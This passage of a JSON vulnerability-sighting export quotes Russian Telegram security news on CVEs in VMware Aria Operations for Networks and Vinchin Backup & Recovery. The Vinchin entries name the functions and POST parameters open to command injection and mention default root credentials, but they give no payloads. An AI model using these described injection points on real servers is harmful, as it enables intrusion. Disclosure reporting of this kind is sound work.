\u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e\u00a0\u043f\u044f\u0442\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445\u00a0\u0432 Aria Operations for Networks (\u0440\u0430\u043d\u0435\u0435 vRealize Network Insight). \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445:\n\n- CVE-2024-22237 (CVSS: 7,8): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0439 root-\u0434\u043e\u0441\u0442\u0443\u043f.\n\n- CVE-2024-22238 (CVSS: 6,4): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n- CVE-2024-22239 (CVSS: 5,3): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435.\n\n- CVE-2024-22240 (CVSS: 4,9): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0447\u0442\u0435\u043d\u0438\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n\n- CVE-2024-22241 (CVSS: 4,3): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u0437\u0430\u0432\u043b\u0430\u0434\u0435\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c VMware Aria Operations for Networks \u0432\u0435\u0440\u0441\u0438\u0438 6.x \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c\u00a0\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.12.0.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0432\u0441\u0435\u043c\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u043f\u044b\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 Cisco, Fortinet \u0438 VMware, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c \u0438 \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u0434\u043b\u044f \u043a\u0443\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.", "creation_timestamp": "2024-02-08T11:40:05.000000Z"}, {"uuid": "3d93cf38-9f0b-443d-81ee-7cda2bcae650", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22241", "type": "seen", "source": "https://t.me/true_secator/5391", "content": "\u0412\u0441\u043b\u0435\u0434 \u0437\u0430 Cisco \u0438 Fortinet, \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u00ab\u0442\u0440\u043e\u0439\u043a\u0443\u00bb \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 VMware, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e\u00a0\u043f\u044f\u0442\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445\u00a0\u0432 Aria Operations for Networks (\u0440\u0430\u043d\u0435\u0435 vRealize Network Insight). \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445:\n\n- CVE-2024-22237 (CVSS: 7,8): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0439 root-\u0434\u043e\u0441\u0442\u0443\u043f.\n\n- CVE-2024-22238 (CVSS: 6,4): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n- CVE-2024-22239 (CVSS: 5,3): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435.\n\n- CVE-2024-22240 (CVSS: 4,9): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0447\u0442\u0435\u043d\u0438\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n\n- CVE-2024-22241 (CVSS: 4,3): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u0437\u0430\u0432\u043b\u0430\u0434\u0435\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c VMware Aria Operations for Networks \u0432\u0435\u0440\u0441\u0438\u0438 6.x \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c\u00a0\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.12.0.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0432\u0441\u0435\u043c\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u043f\u044b\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 Cisco, Fortinet \u0438 VMware, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c \u0438 \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u0434\u043b\u044f \u043a\u0443\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.", "creation_timestamp": "2024-02-08T11:40:05.000000Z"}, {"uuid": "8cbed717-3be9-4e45-bb60-9570b2d682f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22902", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5374", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 LeakIX \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u0441 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c Vinchin Backup & Recovery, \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e \u0438\u0442\u043e\u0433\u0430\u043c 2023 \u0432\u043e\u0448\u0435\u043b \u0432 \u0447\u0438\u0441\u043b\u043e\u00a0\u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u043c \u0440\u044b\u043d\u043a\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041d\u043e \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0440\u0430\u0441\u0442\u0443\u0449\u0443\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0438 \u043e\u0431\u0448\u0438\u0440\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b, \u0440\u0435\u0448\u0435\u043d\u0438\u044f Vinchin, \u043a\u0430\u043a \u0438 \u043f\u0440\u043e\u0447\u0438\u0435, \u043d\u0435 \u0437\u0430\u0441\u0442\u0440\u0430\u0445\u043e\u0432\u0430\u043d\u044b \u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0431\u044b\u043b \u0432\u044b\u044f\u0432\u043b\u0435\u043d \u0440\u044f\u0434 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u043e\u0442 CVE-2024-22899 \u0434\u043e CVE-2024-22903, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f RCE-\u0430\u0442\u0430\u043a.\n\n\u0414\u0432\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438: CVE-2024-22902 (\u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 SSH \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e) \u0438 CVE-2024-22901 (\u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445).\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f Vinchin \u0441 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u0431\u043b\u0435\u0433\u0447\u0430\u0435\u0442 root-\u0432\u0445\u043e\u0434 \u043f\u043e SSH, \u043f\u0440\u0438 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d.\n\n\u0420\u0438\u0441\u043a\u0438 \u0441 CVE-2024-22901 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c\u00a0\u043f\u043e\u0440\u0442\u0430 MySQL, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0438\u043c\u0435\u043d\u0438 \u0445\u043e\u0441\u0442\u0430\u00a0\u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432\u00a0\u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 CVE-2024-22900 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e setNetworkCardInfo, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0443\u044e \u0434\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043a\u0430\u0440\u0442\u0435.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437\u00a0\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 NAME \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 POST-\u0437\u0430\u043f\u0440\u043e\u0441.\n\nCVE-2024-22899 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 syncNtpTime (\u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c NTP \u0432 \u0444\u0430\u0439\u043b\u0435 SystemHandler.class.php \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u0415\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c, \u0432\u043d\u0435\u0434\u0440\u0438\u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u00a0ntphost \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 POST, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u0424\u0443\u043d\u043a\u0446\u0438\u044f\u00a0deleteUpdateAPK \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 CVE-2024-22903, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043f\u0440\u044f\u043c\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u00a0file_name \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u0432\u0435\u0441\u0442\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u043f\u043e \u043a\u0430\u0436\u0434\u043e\u0439 \u0438\u0437 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0443\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u044c \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.", "creation_timestamp": "2024-02-05T13:40:05.000000Z"}, {"uuid": "c3ff3b95-f97d-438d-a0b8-019f33e16c68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22900", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5374", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 LeakIX \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u0441 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u043f\u044f\u0442\u0438 